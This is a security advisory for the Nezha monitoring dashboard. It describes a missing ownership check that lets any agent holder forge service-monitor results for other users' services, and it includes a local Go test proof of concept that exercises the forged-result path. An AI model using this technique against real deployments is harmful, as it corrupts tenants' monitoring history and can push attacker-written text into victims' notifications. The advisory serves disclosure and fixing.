GHSA-4g6j-g789-rghm

Summary

Nezha accepts service-monitor TaskResult messages from an authenticated agent based only on whether the reported service ID exists. The dashboard authenticates the agent and derives the reporter server ID from the gRPC stream, but the service-monitor result worker does not verify that the reporter server was selected for that service, belongs to the service owner, or was actually assigned that monitoring task.

A low-privilege user with a valid agent secret and one registered agent can therefore submit forged monitoring results for another user's service ID. This allows cross-tenant corruption of service-monitor history/current state, and can influence victim-owned service notifications with attacker-controlled result text.

Details

The agent task stream accepts inbound TaskResult messages after authenticating agent metadata:

• service/rpc/auth.go:23-60 validates client_secret and client_uuid.
• service/rpc/auth.go:63-75 registers an unknown valid UUID as a server for the authenticated secret owner.
• service/rpc/nezha.go:40-48 authenticates the RequestTask stream and binds it to clientID.
• service/rpc/nezha.go:50-56 receives agent-controlled TaskResult messages.
• proto/nezha.proto:60-65 defines attacker-controlled TaskResult.id, type, delay, data, and successful.

For service-monitor task types, the result is dispatched directly to the service sentinel using the authenticated server ID as reporter:

• service/rpc/nezha.go:85-90 dispatches service-monitor result types to ServiceSentinelShared.Dispatch with Reporter: clientID.
• model/service.go:131-140 treats non-operational task types as service-monitor result types.

The vulnerable authorization gap is in the service-monitor worker:

• service/singleton/servicesentinel.go:475-483 checks only that r.Data.GetId() resolves to an existing service.
• It does not check that r.Reporter is covered by that service.
• It does not check that the service owner owns the reporter server.
• It does not check that the dashboard actually sent this service-monitor task to that agent.

The forged result is then recorded and used for service status processing:

• service/singleton/servicesentinel.go:487-528 records ping service history keyed by ServiceID and Reporter.
• service/singleton/servicesentinel.go:543-624 updates today's status, current service state, and state-change handling.
• service/singleton/servicesentinel.go:723-739 can send victim-owned notifications containing mh.Data, which is attacker-controlled result text.

This is inconsistent with outbound service-monitor dispatch, which does enforce service coverage and ownership before sending tasks to agents:

• cmd/dashboard/rpc/rpc.go:84-109 sends service-monitor tasks only to selected/non-skipped servers according to Service.Cover and SkipServers.
• cmd/dashboard/rpc/rpc.go:96-107 calls canSendTaskToServer before sending.
• cmd/dashboard/rpc/rpc.go:182-193 permits outbound dispatch only when the service owner owns the server, or when the service owner is an admin.
• cmd/dashboard/controller/service.go:478-480 and cmd/dashboard/controller/service.go:590-607 validate selected servers, trigger tasks, and notification groups during service creation/update.

The inbound result path should mirror these authorization checks before accepting a result.

PoC

The following local PoC creates a temporary Go test file in service/singleton, uses an in-memory SQLite database, does not start the dashboard listener, does not contact public systems, and removes the temporary test file on exit.

The PoC proves the vulnerable processing path by creating:

• victim user ID 100;
• victim service ID 10;
• victim server ID 1;
• attacker user ID 200;
• attacker reporter server ID 2.

The victim service is configured with ServiceCoverIgnoreAll and only server 1 enabled. Therefore, the dashboard's outbound service-monitor dispatch logic would not send this task to attacker server 2.

The forged inbound result from reporter 2 is nevertheless accepted and creates a ServiceHistory row for victim service 10.

Environment tested:

• Repository: https://github.com/nezhahq/nezha.git
• Commit: 79c06d0f95ad4e0eedc01a72fc0c54f4666cb0bf
• OS: Linux
• Test date: 2026-05-19

From a clean checkout of the tested commit, run:

set -e
pocfile=$(mktemp service/singleton/service_spoof_poc_XXXX_test.go)
cleanup() {
  rm -f "$pocfile"
}
trap cleanup EXIT

cat > "$pocfile" <<'EOF'
package singleton

import (
    "testing"
    "time"

    "github.com/patrickmn/go-cache"
    "github.com/robfig/cron/v3"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"

    "github.com/nezhahq/nezha/model"
    pb "github.com/nezhahq/nezha/proto"
)

func replaceServerSharedForSpoofPoC(t *testing.T, servers ...*model.Server) {
    t.Helper()

    original := ServerShared
    serverClass := &ServerClass{
        class: class[uint64, *model.Server]{
            list: make(map[uint64]*model.Server),
        },
        uuidToID: make(map[string]uint64),
    }
    for _, server := range servers {
        serverClass.list[server.ID] = server
    }
    ServerShared = serverClass
    t.Cleanup(func() { ServerShared = original })
}

func TestForgedAgentServiceResultCreatesHistoryForUnassignedService(t *testing.T) {
    originalDB := DB
    originalConf := Conf
    originalCache := Cache
    originalCronShared := CronShared
    originalServerShared := ServerShared
    originalServiceSentinelShared := ServiceSentinelShared
    originalNotificationShared := NotificationShared
    originalTSDB := TSDBShared
    originalLoc := Loc

    t.Cleanup(func() {
        DB = originalDB
        Conf = originalConf
        Cache = originalCache
        CronShared = originalCronShared
        ServerShared = originalServerShared
        ServiceSentinelShared = originalServiceSentinelShared
        NotificationShared = originalNotificationShared
        TSDBShared = originalTSDB
        Loc = originalLoc
    })

    db, err := gorm.Open(sqlite.Open("file::memory:?cache=shared"), &gorm.Config{})
    if err != nil {
        t.Fatal(err)
    }
    DB = db

    if err := DB.AutoMigrate(
        model.Server{},
        model.Service{},
        model.ServiceHistory{},
        model.Notification{},
        model.NotificationGroup{},
        model.NotificationGroupNotification{},
    ); err != nil {
        t.Fatal(err)
    }

    Conf = &ConfigClass{Config: &model.Config{AvgPingCount: 1}}
    Cache = cache.New(time.Minute, time.Minute)
    CronShared = &CronClass{
        Cron:  cron.New(cron.WithSeconds()),
        class: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}},
    }
    NotificationShared = &NotificationClass{
        class:         class[uint64, *model.Notification]{list: map[uint64]*model.Notification{}},
        groupToIDList: map[uint64]map[uint64]*model.Notification{},
        idToGroupList: map[uint64]map[uint64]struct{}{},
        groupList:     map[uint64]string{},
    }

    replaceServerSharedForSpoofPoC(t,
        &model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "victim-server"},
        &model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "attacker-agent"},
    )

    Loc = time.UTC

    bus := make(chan *model.Service, 1)
    ss, err := NewServiceSentinel(bus)
    if err != nil {
        t.Fatal(err)
    }
    ServiceSentinelShared = ss

    victimService := &model.Service{
        Common:      model.Common{ID: 10, UserID: 100},
        Name:        "victim-private-service",
        Type:        model.TaskTypeTCPPing,
        Target:      "example.invalid:443",
        Duration:    3600,
        Cover:       model.ServiceCoverIgnoreAll,
        SkipServers: map[uint64]bool{1: true},
    }
    if err := DB.Create(victimService).Error; err != nil {
        t.Fatal(err)
    }
    if err := ss.Update(victimService); err != nil {
        t.Fatal(err)
    }

    ss.Dispatch(ReportData{
        Reporter: 2,
        Data: &pb.TaskResult{
            Id:         10,
            Type:       model.TaskTypeTCPPing,
            Delay:      12,
            Data:       "forged result from unauthorized agent",
            Successful: true,
        },
    })

    deadline := time.After(2 * time.Second)
    for {
        var count int64
        if err := DB.Model(&model.ServiceHistory{}).
            Where("service_id = ? AND server_id = ?", 10, 2).
            Count(&count).Error; err != nil {
            t.Fatal(err)
        }

        if count > 0 {
            return
        }

        select {
        case <-deadline:
            t.Fatalf("expected forged history row for service 10 from unauthorized reporter 2")
        default:
            time.Sleep(10 * time.Millisecond)
        }
    }
}
EOF

go test ./service/singleton -run TestForgedAgentServiceResultCreatesHistoryForUnassignedService -count=1 -v

Expected vulnerable output:

=== RUN   TestForgedAgentServiceResultCreatesHistoryForUnassignedService
--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService
PASS
ok      github.com/nezhahq/nezha/service/singleton

Observed output in my local test environment:

=== RUN   TestForgedAgentServiceResultCreatesHistoryForUnassignedService
--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService (0.01s)
PASS
ok      github.com/nezhahq/nezha/service/singleton  0.020s

The test passes because a forged result from reporter server 2 creates a service-history row for victim service 10, even though service 10 only covers victim server 1.

A fixed version should reject or ignore this forged result. After a fix, the current PoC should fail at the assertion waiting for a ServiceHistory row unless the test is changed to assert that count == 0.

Note: this is a local processing-path PoC. It directly exercises the same service sentinel worker that the authenticated gRPC RequestTask path dispatches to. It does not open a network gRPC connection, send real notifications, or execute commands.

Impact

A low-privilege Nezha user with a valid agent secret can forge service-monitor results for services outside their ownership boundary.

Confirmed impact:

• Cross-tenant service-monitor integrity violation.
• False service history entries for victim-owned services.
• Poisoned service availability/current-state data.

Likely impact through the same processing path:

• Victim-owned service notifications can be triggered with attacker-controlled result text.
• Monitoring reliability can be degraded by false up/down/latency results.

This does not require dashboard administrator privileges. The attacker only needs a normal account/agent secret and one registered agent/server.